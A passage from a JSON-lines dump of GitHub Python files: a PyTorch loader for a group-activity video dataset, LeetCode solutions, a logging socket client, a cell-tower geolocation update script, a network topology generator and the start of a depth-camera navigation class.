{}\n for sid in seqs:\n data[sid] = collective_read_annotations(path,sid)\n return data\n\ndef collective_all_frames(anns):\n return [(s,f) for s in anns for f in anns[s] ]\n\n\nclass CollectiveDataset(data.Dataset):\n \"\"\"\n Characterize collective dataset for pytorch\n \"\"\"\n def __init__(self,anns,tracks,frames,images_path,image_size,feature_size,num_boxes=13, num_frames = 10, is_training=True,is_finetune=False):\n self.anns=anns\n self.frames=frames\n self.images_path=images_path\n self.image_size=image_size\n self.feature_size=feature_size\n \n self.num_boxes = num_boxes\n self.num_frames = num_frames\n \n self.is_training=is_training\n self.is_finetune=is_finetune\n\n self.tracks = tracks\n\n # self.frames_seq = np.empty((1337, 2), dtype = np.int)\n # self.flag = 0\n\n def __len__(self):\n \"\"\"\n Return the total number of samples\n \"\"\"\n return len(self.frames)\n \n def __getitem__(self,index):\n \"\"\"\n Generate one sample of the dataset\n \"\"\"\n # Save frame sequences\n # self.frames_seq[self.flag] = self.frames[index] # [0], self.frames[index][1]\n # if self.flag == 764: # 1336\n # save_seq = self.frames_seq\n # np.savetxt('vis/Collective/frames_seq.txt', save_seq)\n # self.flag += 1\n\n select_frames=self.get_frames(self.frames[index])\n sample=self.load_samples_sequence(select_frames)\n \n return sample\n \n def get_frames(self,frame):\n \n sid, src_fid = frame\n \n if self.is_finetune:\n if self.is_training:\n num_frames = 10\n fid=random.randint(src_fid, src_fid+num_frames-1)\n return [(sid, src_fid, fid)]\n \n else:\n num_frames = 10\n return [(sid, src_fid, fid) \n for fid in range(src_fid, src_fid+num_frames)]\n \n else:\n # if self.is_training:\n # sample_frames=random.sample(range(src_fid,src_fid+self.num_frames),3)\n # return [(sid, src_fid, fid) for fid in sample_frames]\n #\n # else:\n # sample_frames=[ src_fid, src_fid+3, src_fid+6, src_fid+1, src_fid+4, src_fid+7, src_fid+2, src_fid+5, src_fid+8 ]\n # return [(sid, src_fid, fid) for fid in sample_frames]\n if self.is_training:\n # return [(sid, src_fid, fid) for fid in range(src_fid , src_fid + self.num_frames)]\n num_frames_segment = 3\n num_segment = 3\n start = src_fid + 1\n fids = [src_fid]\n for i in range(num_segment):\n if i == num_segment-1: #\n end = src_fid + 9\n fid = random.randint(start,end)\n else:\n end = start + num_frames_segment -1\n fid = random.randint(start, end)\n start = end + 1\n fids.append(fid)\n return [(sid, src_fid, fid) for fid in fids]\n\n else:\n # return [(sid, src_fid, fid) for fid in range(src_fid, src_fid + self.num_frames)]\n num_frames_segment = 3\n num_segment = 3\n start = src_fid + 1\n fids = [src_fid]\n for i in range(num_segment):\n if i == num_segment-1: #\n end = src_fid + 9\n fid = random.randint(start,end)\n else:\n end = start + num_frames_segment -1\n fid = random.randint(start, end)\n start = end + 1\n fids.append(fid)\n return [(sid, src_fid, fid) for fid in fids]\n\n \n \n def load_samples_sequence(self,select_frames):\n \"\"\"\n load samples sequence\n\n Returns:\n pytorch tensors\n \"\"\"\n OH, OW=self.feature_size\n use_imageNet_normal = False\n \n images, boxes = [], []\n activities, actions = [], []\n bboxes_num=[]\n poses = []\n\n video_id = select_frames[0][0]\n clip_id = select_frames[0][1]\n dataset_dir = '/home/shelter/shelterX/data/collective'\n joints_path = os.path.join(dataset_dir, 'joints', str(video_id), f'{clip_id}.pickle')\n with open(joints_path, 'rb') as f:\n joint_raw = pickle.load(f) # dict\n\n for i, (sid, src_fid, fid) in enumerate(select_frames):\n\n img = Image.open(self.images_path + '/seq%02d/frame%04d.jpg'%(sid,fid))\n\n # W,H = img.size\n H, W = FRAMES_SIZE[sid]\n # img=transforms.functional.resize(img, self.image_size)\n # img=np.array(img)\n\n # # H,W,3 -> 3,H,W\n # img=img.transpose(2,0,1)\n\n \n if use_imageNet_normal:\n img_h, img_w = self.image_size\n transform = transforms.Compose([\n transforms.Resize((img_h, img_w)),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),\n ])\n img = transform(img)\n else:\n img=transforms.functional.resize(img, self.image_size)\n img=np.array(img)\n \n # H,W,3 -> 3,H,W\n img=img.transpose(2,0,1)\n images.append(img)\n\n temp_boxes = np.ones_like(self.tracks[(sid, src_fid)][fid])\n this_frame_poses = []\n\n # pose prepare\n joints_this_frame = joint_raw[fid] # [12, 17, 3]\n joints_all_people = joints_this_frame[:, :, 0:2] # x,y\n\n for i,track in enumerate(self.tracks[(sid, src_fid)][fid]):\n\n joints_this_person = joints_all_people[i] #[17, 2]\n joints_this_person = joints_this_person.reshape(17,2)\n track_ = np.array(track)\n if np.isnan(np.sum(track_)):\n temp_boxes[i]=np.array([0.0, 0.0, 0.0, 0.0])\n else:\n y1,x1,y2,x2 = track\n w1,h1,w2,h2 = x1*OW, y1*OH, x2*OW, y2*OH \n temp_boxes[i]=np.array([w1,h1,w2,h2])\n \n if np.sum(temp_boxes[i]) == 0:\n this_frame_poses.append(np.zeros((17,2)))\n continue\n\n if np.isnan(np.sum(joints_this_person)):\n # replace nan with zero\n joints_this_person[np.isnan(joints_this_person)] = 0.0\n \n \n if np.sum(joints_this_person) == 0:\n this_frame_poses.append(np.zeros((17,2)))\n # print(f'missed tracks:({sid},{src_fid})[{fid}] {i}\\n')\n continue\n\n X1 = int(round(x1*W))\n Y1 = int(round(y1*H))\n X2 = int(round(x2*W))\n Y2 = int(round(y2*H))\n\n X1 = min(max(X1,0),W)\n X2 = min(max(X2,0),W)\n Y1 = min(max(Y1,0),H)\n Y2 = min(max(Y2,0),H)\n\n center_this_person = [(X1+X2)/2.,(Y1+Y2)/2.]\n size = np.sqrt((X2-X1)*(Y2-Y1)/4)\n center_this_person = np.array(center_this_person)\n joints_this_person = (joints_this_person - center_this_person) / size\n this_frame_poses.append(joints_this_person)\n\n # for box in self.anns[sid][src_fid]['bboxes']:\n # y1,x1,y2,x2=box\n # w1,h1,w2,h2 = x1*OW, y1*OH, x2*OW, y2*OH \n # temp_boxes.append((w1,h1,w2,h2))\n \n # temp_actions=self.anns[sid][src_fid]['actions'][:]\n # bboxes_num.append(len(temp_boxes))\n\n while len(this_frame_poses) != self.num_boxes:\n this_frame_poses.append(np.zeros((17,2)))\n \n if len(temp_boxes) != self.num_boxes:\n temp_boxes = np.vstack([temp_boxes, np.zeros((self.num_boxes-len(temp_boxes), 4))])\n\n this_frame_poses = np.vstack(this_frame_poses)\n poses.append(this_frame_poses)\n boxes.append(temp_boxes)\n\n temp_actions = [Action6to5[i] for i in self.anns[sid][src_fid]['actions'][:]]\n bboxes_num.append(len(temp_actions))\n \n while len(temp_actions)!=self.num_boxes:\n temp_actions.append(-1)\n actions.append(temp_actions)\n \n activities.append(Activity5to4[self.anns[sid][src_fid]['group_activity']])\n \n \n # images = np.stack(images)\n activities = np.array(activities, dtype=np.int32)\n bboxes_num = np.array(bboxes_num, dtype=np.int32)\n bboxes = np.vstack(boxes).reshape([-1, self.num_boxes, 4])\n poses = np.vstack(poses).reshape([-1, self.num_boxes, 17, 2])\n actions = np.array(actions, dtype=np.int32).reshape(-1,self.num_boxes)\n \n #convert to pytorch tensor\n # images=torch.from_numpy(images).float()\n if use_imageNet_normal:\n images = torch.stack(images)\n else:\n images = np.stack(images)\n images=torch.from_numpy(images).float()\n \n bboxes=torch.from_numpy(bboxes).float()\n actions=torch.from_numpy(actions).long()\n activities=torch.from_numpy(activities).long()\n bboxes_num=torch.from_numpy(bboxes_num).int()\n poses = torch.from_numpy(poses).float()\n \n return images, bboxes, actions, activities, bboxes_num, poses\n \n \n\n \n","repo_name":"0shelter0/PDGCN","sub_path":"collective.py","file_name":"collective.py","file_ext":"py","file_size_in_byte":13484,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"4985361238","text":"# coding:utf-8\nfrom typing import List\n\n\nclass Solution:\n def isOneBitCharacter(self, bits: List[int]) -> bool:\n i = 0\n while i < len(bits):\n if i == len(bits) - 1:\n return True\n\n if bits[i] == 0:\n i += 1\n continue\n if bits[i] == 1:\n i += 2\n\n return False\n\n","repo_name":"LuTuYaoYuan-1720/leetcode","sub_path":"prob717.py","file_name":"prob717.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"73899280686","text":"# client - server connection via socket programming\n\nimport socket, logging\nfrom logging.handlers import TimedRotatingFileHandler\nfrom time import sleep\n\n\nclass Client:\n \n \n def __init__(self, host, port) -> None:\n \n self.initDebug()\n self.s = None\n self.connect_client(host, port)\n \n def initDebug(self):\n \n self.logger = logging.getLogger()\n self.logger.setLevel(logging.NOTSET)\n self.logfile_path = \"../logging/log_file.log\"\n\n # our first handler is a console handler\n console_handler = logging.StreamHandler()\n console_handler.setLevel(logging.DEBUG)\n console_handler_format = '%(levelname)s: %(message)s'\n console_handler.setFormatter(logging.Formatter(console_handler_format))\n\n # start logging and show messages\n\n # the second handler is a file handler\n file_handler = logging.FileHandler(self.logfile_path)\n file_handler.setLevel(logging.INFO)\n file_handler_format = '%(asctime)s | %(levelname)s | %(lineno)d: %(message)s'\n file_handler.setFormatter(logging.Formatter(file_handler_format))\n\n # clear log file every 1 day\n rotate = TimedRotatingFileHandler('sample.log', when='D', interval=1, backupCount=0, encoding=None, delay=False, utc=False)\n \n self.logger.addHandler(rotate)\n self.logger.addHandler(console_handler)\n self.logger.addHandler(file_handler)\n \n\n def connect_client(self, h, p):\n # connect_stat = False\n \n while True:\n try:\n self.s.sendall( bytes(f\"client({h}) connected\", 'utf-8') )\n except:\n self.logger.info(\"can't connect to server\")\n\n try:\n self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.s.connect((h, int(p)))\n\n self.s.sendall( bytes(f\"client({h}) connected\", 'utf-8') )\n self.logger.info(\"success connect to server\")\n\n except Exception as e:\n \n self.logger.info(\"can't connect to server\")\n self.logger.error( str(e) )\n\n \n\n sleep(1)\n\n \n def get_data(self, data):\n\n # send rfid value to server socket\n self.s.sendall( bytes(data, 'utf-8') )\n res = self.s.recv(1024)\n\n return res\n \n \n def send_img(self, data):\n\n # send rfid value to server socket\n # self.s.sendall( bytes(data, 'utf-8') )\n self.s.sendall( data )\n res = self.s.recv(1024)\n\n return res\n\n\n ","repo_name":"delcode92/tes","sub_path":"downloads/server/client/client_service.py","file_name":"client_service.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"11243498199","text":"\"\"\"This file contains the ArucoHandler class, which is responsible for interfacing OpenCV aruco methods.\"\"\"\n\nimport cv2\nfrom cv2 import aruco\nimport numpy as np\nimport xml.etree.ElementTree as ET\nfrom CameraHandler import *\n\nID = 0\nOUTPUT_MARKER = f'marker_{ID}.jpg'\nRED = (0, 0, 255)\nGREEN = (0, 255, 0)\nSIDE_PIXELS = 100\n\nclass ArucoHandler(object):\n\n def __init__(self):\n \"\"\"Defines an ArucoHandler instance, responsible for getting aruco corners and pose from images.\"\"\"\n\n window_mode = True\n verbose_mode = True\n\n # Loads configuration\n tree = ET.parse('config.xml')\n root = tree.getroot()\n\n for config in root.iter('window'):\n window_mode = window_mode and bool(int(config.attrib['status']))\n for config in root.iter('verbose'):\n verbose_mode = verbose_mode and bool(int(config.attrib['status']))\n\n self.window_mode = window_mode\n self.verbose_mode = verbose_mode\n\n # The predefined dictionary contains the following structure:\n # 1: AXA means AxA bits\n # 2: _250 means the dictionary is composed of 250 markers\n self.dictionary = aruco.getPredefinedDictionary(aruco.DICT_6X6_50)\n\n def _showImage(self, title, img):\n \"\"\"Shows images, so while testing it's possible to see the result.\"\"\"\n\n if self.window_mode:\n\n cv2.imshow(title, img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n def __get4PointsFromCorners(self, corners):\n\n pList = []\n\n try:\n\n polygon = corners[0][0]\n for p in polygon:\n pList.append((p[0], p[1]))\n\n if self.verbose_mode:\n print(f'\\np1: {pList[0]}')\n print(f'p2: {pList[1]}')\n print(f'p3: {pList[2]}')\n print(f'p4: {pList[3]}')\n\n except:\n print(\"Couldn't get 4 points from corners.\")\n\n return pList\n\n def generateMarker(self, marker_id=ID, side_pixels=SIDE_PIXELS, output_file=OUTPUT_MARKER):\n \"\"\"Generate image with marker.\"\"\"\n\n image = cv2.imread(output_file)\n\n # To draw a marker, the following structure is used:\n # 1: dictionary\n # 2: id in the selected dictionary, in this case, ranges from 0 to 249\n # 3: size of the output image, in this case, 200x200 px\n # 4: output image\n # 5: border size\n img_with_marker = aruco.drawMarker(self.dictionary, marker_id, side_pixels, image, 1)\n\n if self.window_mode:\n self._showImage('Marker', img_with_marker)\n\n cv2.imwrite(OUTPUT_MARKER, img_with_marker)\n\n def detectMarkersInImage(self, img, ids = ID):\n\n corners, ids, rejectedImgPoints = aruco.detectMarkers(img, self.dictionary, ids=ids)\n\n if self.verbose_mode:\n\n print(f'\\n--- Detecting Markers in Image ---')\n try:\n print(f'Polygon corners: {corners[0][0]}')\n except:\n print(f'\\nNo corner found.\\n')\n try:\n print(f'Ids[0]: {ids[0]}')\n except:\n print(f'\\nNo id found.\\n')\n try:\n print(f'RejectedImgPoints[0]: {rejectedImgPoints[0]}')\n except:\n print(f'\\nNo point rejected.\\n')\n\n if self.verbose_mode:\n self.__get4PointsFromCorners(corners)\n\n if self.window_mode:\n imgPoly = aruco.drawDetectedMarkers(img, corners, ids, GREEN)\n self._showImage('Detected Marker', imgPoly)\n\n return [corners, ids, rejectedImgPoints]\n\n def estimateArucoPose(self, img, corners, camera: CameraHandler, markerLength=0.01):\n \"\"\"\n Returns rotation and translation vectors as well as position of aruco markers.\n\n :param img: image to draw.\n :param corners: vector of marker corners returned by the 'detectMarkersInImage' function\n :param cameraMatrix: camera matrix obtained after calibration using cv::calibrateCamera\n :param distCoeffs: camera distortion coefficients after calibration using cv::calibrateCamera\n :param markerLength: size of length of marker in a distance unit (meters, for instance). Output vectors will be in the same unit.\n\n \"\"\"\n\n # rvecs: rotation vectors for each marker in 'corners'.\n rvecs = None\n # tvecs: translation vectors for each marker in 'corners'.\n tvecs = None\n\n cameraMatrix, distCoeffs = camera.getCalibrationData()\n\n rvecs, tvecs, _objPoints = aruco.estimatePoseSingleMarkers(corners, markerLength, # Marker information\n cameraMatrix, distCoeffs, # Camera information\n rvecs, tvecs) # R&T Vectors\n\n imgWithAxes = aruco.drawAxis(img, cameraMatrix, distCoeffs, rvecs, tvecs, 2*markerLength)\n self._showImage('Image with Axes', imgWithAxes)\n cv2.waitKey(0)\n\n if self.verbose_mode:\n\n print(f'\\n--- Estimating Pose in Image ---')\n print(f'rvecs: {rvecs}')\n print(f'tvecs: {tvecs}')\n print(f'_objPoints: {_objPoints}')\n\n return [rvecs, tvecs, _objPoints]\n\n","repo_name":"pedro-sidra/Projeto2","sub_path":"Python/dev/Clauser/Aruco/ArucoHandler/ArucoHandler.py","file_name":"ArucoHandler.py","file_ext":"py","file_size_in_byte":5268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"1620668798","text":"import unittest\nfrom src import lcsec\nfrom pathlib import Path\n\nfrom src.JavaMetric import read_java_metric_from_csv\n\n\nclass Testlcsec(unittest.TestCase):\n def test_lcsec(self):\n present_folder = Path.cwd()\n path_to_test_csv = Path.joinpath(present_folder, \"ressources\", \"lcsec\", \"test_csv.csv\")\n path_of_test_java = Path.joinpath(present_folder, \"ressources\", \"jls\")\n data_from_csv = read_java_metric_from_csv(path_to_test_csv)\n test = lcsec.calculate_csec_values(path_of_test_java, data_from_csv)\n self.assertEqual(test[0].lcsec, 2)\n self.assertEqual(test[1].lcsec, 1)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"3Pi1416/IFT3913-A-A22-TP1","sub_path":"tests/test_lcsec.py","file_name":"test_lcsec.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"33872276030","text":"# This is a sample Python script.\n\n# Press Shift+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\n\n\nclass Solution:\n def calPoints(self, ops) -> int:\n stack = []\n for op in ops:\n if op == \"C\":\n stack.pop()\n elif op == \"D\":\n stack.append(2 * int(stack[-1]))\n elif op == \"+\":\n stack.append(int(stack[-1]) + int(stack[-2]))\n else:\n stack.append(int(op))\n return sum(stack)\n\n\nops = [\"1\"]\ntest = Solution()\nprint(test.calPoints(ops))\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"CelineWang1027/calPoints","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"3094019543","text":"#!/usr/bin/env python\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2 as\n# published by the Free Software Foundation;\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n#\n# Author: Shih-Hao Tseng (shtseng@caltech.edu)\n#\nimport json,csv\n\ndef ip_list_generator(network_name):\n server_public_ips = {}\n server_private_ips = None\n\n server_ips = {}\n\n try:\n with open('data/%s_public_ips.csv' % network_name,'r') as fpub:\n csv_reader = csv.reader(fpub, delimiter=',')\n line_count = 0\n for row in csv_reader:\n if line_count == 0:\n line_count += 1\n continue\n \n server_public_ips[row[0]] = []\n for ip in row[1:]:\n if ip != '':\n server_public_ips[row[0]].append(ip)\n \n line_count += 1\n except:\n print('error: data/%s_public_ips.csv does not exist' % network_name)\n return\n\n try:\n server_private_ips = {}\n with open('data/%s_private_ips.csv' % network_name,'r') as fpriv:\n csv_reader = csv.reader(fpriv, delimiter=',')\n line_count = 0\n for row in csv_reader:\n if line_count == 0:\n line_count += 1\n continue\n \n server_private_ips[row[0]] = []\n for ip in row[1:]:\n if ip != '':\n server_private_ips[row[0]].append(ip)\n \n line_count += 1\n \n # check if private ips match the public ips structure\n if len(server_public_ips) != len(server_private_ips):\n print('error: public_ips does not match private_ips')\n return\n\n for key in server_public_ips.keys():\n if len(server_public_ips[key]) != len(server_private_ips[key]):\n print('error: public_ips[%d] does not match private_ips[%d]' % (key,key))\n return\n except:\n server_private_ips = None\n \n # generate the topology.cc_part\n with open('results/%s.cc_part' % network_name,'w') as fcc:\n fcc.write('/* Author: Shih-Hao Tseng (st688@cornell.edu) */\\n')\n fcc.write('#ifdef __TOPOLOGY_MACROS__\\n\\n')\n \n total_nodes = len(server_public_ips.keys())\n fcc.write('#define TOTAL_SWITCHES %d\\n' % total_nodes)\n fcc.write('#define TOTAL_HOSTS %d\\n\\n' % total_nodes)\n\n try:\n # include memo if there is any\n with open('data/%s_memo' % network_name,'r') as fmemo:\n for line in fmemo:\n fcc.write('// %s' % line)\n fcc.write('\\n')\n except:\n pass\n\n fcc.write('#define GENERATE_TOPOLOGY()\\\\\\n')\n fcc.write('graph->addNodes(TOTAL_SWITCHES);\\\\\\n')\n fcc.write('\\\\\\n')\n for key in server_public_ips.keys():\n fcc.write('LIST_OF_PUBLIC_ADDRESSES(%s,' % key)\n first = True\n for ip in server_public_ips[key]:\n if first:\n first = False\n else:\n fcc.write(' COMMA')\n fcc.write(' \\\"%s\\\"' % ip)\n fcc.write(' )\\\\\\n')\n fcc.write('\\\\\\n')\n if server_private_ips is None:\n for key in server_public_ips.keys():\n fcc.write('PRIVATE_ADDRESSES_IS_THE_SAME_AS_PUBLIC(%s)\\\\\\n' % key)\n server_private_ips = server_public_ips\n else:\n for key in server_private_ips.keys():\n fcc.write('LIST_OF_PRIVATE_ADDRESSES(%s,' % key)\n first = True\n for ip in server_private_ips[key]:\n if first:\n first = False\n else:\n fcc.write(' COMMA')\n fcc.write(' \\\"%s\\\"' % ip)\n fcc.write(' )\\\\\\n')\n fcc.write('\\\\\\n')\n for key in server_public_ips.keys():\n fcc.write('AUTO_REG_SW_ADDR(%s)\\\\\\n' % key)\n\n public_ip_counter = {}\n # each node -> remote public ips\n remote_ips = {}\n for key in server_public_ips.keys():\n public_ip_counter[key] = 0\n remote_ips[key] = {}\n\n try:\n # links\n fcc.write('\\\\\\n')\n fcc.write('/* link the switches */\\\\\\n')\n fcc.write('/* private to public */\\\\\\n')\n\n with open('data/%s_links.csv' % network_name,'r') as flink:\n csv_reader = csv.reader(flink, delimiter=',')\n line_count = 0\n head = []\n for row in csv_reader:\n if line_count == 0:\n # first line\n head = row[1:]\n else:\n line = row[1:]\n len_line = len(line)\n src_node = row[0]\n for dst_node_index in range(len_line):\n rate = line[dst_node_index]\n if rate != '':\n dst_node = head[dst_node_index]\n fcc.write('AUTO_SW_TO_SW_IP(%s,%s,%s)\\\\\\n' % (src_node,dst_node,rate))\n\n remote_ips[src_node][dst_node] = server_public_ips[dst_node][public_ip_counter[dst_node]]\n public_ip_counter[dst_node] += 1\n remote_ips[dst_node][src_node] = server_public_ips[src_node][public_ip_counter[src_node]]\n public_ip_counter[src_node] += 1\n\n line_count += 1\n except:\n print('warning: no link data')\n pass\n\n fcc.write('\\n#endif // __TOPOLOGY_MACROS__')\n\n # generate the server_ips\n for key in server_public_ips.keys():\n pub_ip = server_public_ips[key][0]\n server_ips[pub_ip] = server_private_ips[key]\n\n with open('results/server_ips.json','w') as fips:\n json.dump(server_ips,fips)\n\n # save the remote_ips\n with open('results/%s_remote_ips.json' % network_name,'w') as fips:\n json.dump(remote_ips,fips)\n\nif __name__ == '__main__':\n network_name = input('the network name (file data/_public_ips.csv must exist): ')\n ip_list_generator(network_name)\n","repo_name":"SynergyLab-Cornell/codedbulk","sub_path":"implementation/src/topology_generator/topology_generator.py","file_name":"topology_generator.py","file_ext":"py","file_size_in_byte":6893,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"879076328","text":"import requests\nfrom libBDWebempresa import consultaMysql\nimport time, codecs\nimport ast\nimport sys\n\nrutaLog = \".\\\\Log\\\\\"\nrutaInformes = \".\\\\Informes\\\\\"\ncadTiempo = time.strftime(\"%d\")+ \"_\" + time.strftime(\"%m\") + \"_\" + time.strftime(\"%Y\") + \"_\" + time.strftime(\"%H\") + \"_\" + time.strftime(\"%M\") + \"_\" + time.strftime(\"%S\")\nf = open(rutaLog + \"Log_Act_Pos\" + cadTiempo + \".txt\", \"w\")\n\n\nsqlRegistros = u\"\"\"SELECT FECHA FROM VISITAS\nWHERE LATITUD = 0 AND LONGITUD = 0\nAND ( MCC <> 0 AND MNC <> 0 AND LAC <> 0 AND CID <> 0 )\nORDER BY IDTEMP DESC\"\"\"\n\n\nsqlDetalles = u\"\"\"SELECT FECHA, MCC, MNC, LAC, CID\nFROM VISITAS WHERE FECHA = '{FECHA}'\"\"\"\n\nsqlActualizaCoordenadas = u\"\"\"UPDATE VISITAS\nSET LATITUD = {LATITUD}, LONGITUD = {LONGITUD}\nWHERE FECHA = '{FECHA}'\"\"\"\n\nurl = \"https://eu1.unwiredlabs.com/v2/process.php\"\npayload = \"{\\\"token\\\": \\\"xxxxxxxx\\\",\\\"radio\\\": \\\"gsm\\\",\\\"mcc\\\": {MMC},\\\"mnc\\\": {MNC},\\\"cells\\\": [{\\\"lac\\\": {LAC},\\\"cid\\\": {CELLID}}],\\\"address\\\": 1}\"\n\nf.write(\"Consulta Recuperar Registros --> \" + str(sqlRegistros) + \"\\r\\n\")\nregistros = consultaMysql(sqlRegistros)\n\n\n#actualizamos cada uno de los registros\nfor r in registros:\n fecha = r[0]\n detalles = consultaMysql(sqlDetalles.replace(\"{FECHA}\", fecha))\n f.write(\"Detalles: \" + str(detalles) + \"\\r\\n\" )\n mcc = detalles[0][1]\n f.write(\"MCC: \" + str(mcc) + \"\\r\\n\" )\n mnc = detalles[0][2]\n f.write(\"MNC: \" + str(mnc) + \"\\r\\n\" )\n lac = detalles[0][3]\n f.write(\"LAC: \" + str(lac) + \"\\r\\n\" )\n cid = detalles[0][4]\n f.write(\"Cell ID: \" + str(cid) + \"\\r\\n\" )\n\n cadPayload = payload.replace(\"{MMC}\", mcc)\n cadPayload = cadPayload.replace(\"{MNC}\", mnc)\n cadPayload = cadPayload.replace(\"{LAC}\", lac)\n cadPayload = cadPayload.replace(\"{CELLID}\", cid)\n\n response = requests.request(\"POST\", url, data=cadPayload)\n f.write(\"Respuesta: \" + str(response.text) + \"\\r\\n\")\n\n respuesta = ast.literal_eval(response.text)\n\n balance = respuesta['balance']\n f.write(\"Iteracion: \" + str(balance) + \"\\r\\n\" )\n\n if balance == 0:\n f.write(\"Alcanzado numero maximo de iteraciones por hoy ...\" + \"\\r\\n\" )\n sys.exit(1)\n f.write(\"Fecha: \" + str(fecha) + \"\\r\\n\")\n latitud = respuesta['lat']\n f.write(\"Latitud: \" + str(latitud)+ \"\\r\\n\")\n longitud = respuesta['lon']\n f.write(\"Longitud: \" + str(longitud)+ \"\\r\\n\")\n\n consActualizaCoordenadas = sqlActualizaCoordenadas.replace(\"{FECHA}\", str(fecha))\n consActualizaCoordenadas = consActualizaCoordenadas.replace(\"{LATITUD}\", str(latitud))\n consActualizaCoordenadas = consActualizaCoordenadas.replace(\"{LONGITUD}\", str(longitud))\n\n f.write(\"Consulta Actualizacion: \" + str(consActualizaCoordenadas) + \"\\r\\n\")\n\n salida = consultaMysql(consActualizaCoordenadas)\n print (\"Fecha: \" + str(fecha))\n\n\n\n\n\n\n\n","repo_name":"elPansi/Varios","sub_path":"segComercial/actualizaCoordenadas.py","file_name":"actualizaCoordenadas.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"17023732544","text":"\"\"\" Module for program constants used across the RESPY package. This is\naligned with the constants from the FORTRAN implementation.\n\"\"\"\n\nimport os\n\n# Obtain the root directory of the package\nROOT_DIR = os.path.dirname(os.path.realpath(__file__))\nROOT_DIR = ROOT_DIR.replace('/python/shared', '')\n\n# Directory with additional resources for the testing harness\nTEST_DIR = ROOT_DIR + '/tests'\nTEST_RESOURCES_DIR = ROOT_DIR + '/tests/resources'\n\n# Directory with the FORTRAN resources\nEXEC_DIR = ROOT_DIR + '/fortran/bin'\n\nLARGE_FLOAT = 1.0e8\nHUGE_FLOAT = 1.0e20\nSMALL_FLOAT = 1e-5\nTINY_FLOAT = 1.0e-8\n\n# Interpolation\nINADMISSIBILITY_PENALTY = -40000.00\n\n# Missing values. These allow to aline the treatment of missing values across\n# implementations. There is no NAN available in FORTRAN.\nMISSING_INT = -99\nMISSING_FLOAT = -99.00\n\n# Flag that indicate whether the FORTRAN executables are available.\nIS_PARALLEL = os.path.exists(EXEC_DIR + '/resfort_parallel_master')\nIS_FORTRAN = os.path.exists(EXEC_DIR + '/resfort_scalar')\nif not IS_FORTRAN:\n assert (not IS_PARALLEL)\n\n# Each implementation has its own set of optimizers available.\nOPTIMIZERS_PYTH = ['SCIPY-BFGS', 'SCIPY-POWELL']\nOPTIMIZERS_FORT = ['FORT-NEWUOA', 'FORT-BFGS']","repo_name":"AngelZweig86/DDCM_REPSY","sub_path":"respy/python/shared/shared_constants.py","file_name":"shared_constants.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"33268214911","text":"import threading\nimport numpy as np\nimport math\nimport cv2 as cv\nimport imutils\nimport csv\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom cameraData import cameraData\nimport time\nimport numba as nb\nimport timeit\n\n#define threading wrapper\ndef threaded(fn):\n def wrapper(*args, **kwargs):\n thread = threading.Thread(target=fn, args=args, kwargs=kwargs)\n thread.start()\n return thread\n return wrapper\n\nclass Navigation:\n\n scaleFactor = 1\n closestDistance = 255\n fps = 30\n\n def __init__(self,unitSize,mapLength,mapWidth,mapHieght):\n\n #Determine matrix for map's size\n self.mapLengthUnits = mapLength/unitSize\n self.mapWidthUnits = mapWidth/unitSize\n self.mapHieghtUnits = mapHieght/unitSize\n\n #Cast to integars\n self.mapLengthUnits = int(self.mapLengthUnits)\n self.mapWidthUnits = int(self.mapWidthUnits)\n self.mapHieghtUnits = int(self.mapHieghtUnits)\n \n \n #Optimised method for plotting a point point cloud in a matrix\n @staticmethod\n @nb.jit(nopython=True)\n def populateMatrix(image):\n\n height = image.shape[0]\n width = image.shape[1]\n\n pointCloud = np.empty((height,width,256))\n \n #Populate Array with Data\n for x in range (0,height):\n\n for y in range (0,width):\n\n z = image[x,y]\n pointCloud[x,y,z] = 1\n \n return pointCloud\n \n def createPointCloud(self,frame):\n \n height = frame.shape[0]\n width = frame.shape[1]\n\n mappedHeight = int(height/self.scaleFactor)\n mappedWidth = int(width/self.scaleFactor)\n \n #Ensure image is grayscale for depth values\n frame = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n\n #Reduce Resolution of Kinetic Depth to a Managable Size\n resizedFrame = cv.resize(frame, (mappedWidth, mappedHeight), interpolation = cv.INTER_CUBIC)\n pointCloud = self.populateMatrix(resizedFrame)\n return pointCloud\n\n #Optimised method for finding the closest point in an image\n @staticmethod\n @nb.jit(nopython=True)\n def scanImage(image):\n\n height = image.shape[0]\n width = image.shape[1]\n\n #Initialise with worst case\n pointValue = 0\n pointHeight = 0\n 